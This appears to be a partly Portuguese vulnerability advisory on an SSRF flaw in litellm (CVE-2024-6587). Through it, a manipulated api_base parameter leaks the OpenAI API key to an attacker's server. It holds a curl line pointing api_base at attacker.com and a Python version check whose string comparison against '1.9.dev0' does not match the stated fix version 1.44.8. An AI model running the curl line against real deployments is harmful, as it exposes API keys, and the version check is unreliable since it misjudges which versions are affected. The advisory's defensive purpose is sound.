Vulnerabilidade de Solicitação de Forja de Servidor (SSRF) no LiteLLM

A exploração bem-sucedida desta vulnerabilidade SSRF permite que um atacante intercepte a chave da API OpenAI utilizada pela aplicação litellm. Ao manipular o parâmetro api_base, o atacante pode redirecionar as requisições da aplicação para seu próprio servidor, capturando a chave da API incluída na requisição. Com a posse da chave da API, o atacante pode realizar ações não autorizadas, como acessar dados confidenciais, gerar conteúdo fraudulento ou realizar ataques de negação de serviço, tudo sob a identidade da aplicação legítima. A amplitude do impacto é significativa, pois a chave da API concede acesso completo aos recursos da OpenAI associados à conta.

Applications utilizing the berriai/litellm library, particularly those integrated with OpenAI services, are at risk. Environments where the api_base parameter is not properly validated or sanitized are especially vulnerable. Shared hosting environments where multiple users might interact with the litellm application are also at increased risk.

• python / library:

import os
import subprocess

def check_litellm_version():
    try:
        result = subprocess.check_output(['pip', 'show', 'litellm'], stderr=subprocess.STDOUT, text=True)
        version_line = [line for line in result.splitlines() if 'Version:' in line]
        if version_line:
            version = version_line[0].split(': ')[1].strip()
            if version <= '1.9.dev0':
                print(f"[!] litellm version {version} is vulnerable to CVE-2024-6587. Upgrade to 1.44.8 or later.")
            else:
                print("[+] litellm version is not vulnerable.")
        else:
            print("[!] Could not determine litellm version.")
    except FileNotFoundError:
        print("[!] litellm is not installed.")

check_litellm_version()

• generic web:

curl -I 'http://your-litellm-app/chat/completions?api_base=http://attacker.com' | grep api_base

1. 2024-09-13Disclosure

   disclosure

2. 2024-09-13Patch

   patch

1. Reservado2024-07-08
2. Publicada2024-09-13
3. EPSS atualizado2026-04-02

A mitigação primária para esta vulnerabilidade é a atualização para a versão 1.44.8 ou superior do litellm, que corrige a falha SSRF. Em ambientes onde a atualização imediata não é possível, considere implementar medidas de segurança adicionais, como restringir o acesso à API litellm apenas a fontes confiáveis e monitorar o tráfego de rede em busca de requisições suspeitas. Implementar regras em um Web Application Firewall (WAF) para bloquear requisições com parâmetros apibase inesperados também pode ajudar a reduzir o risco. Verifique se a configuração do litellm não permite a especificação livre do apibase.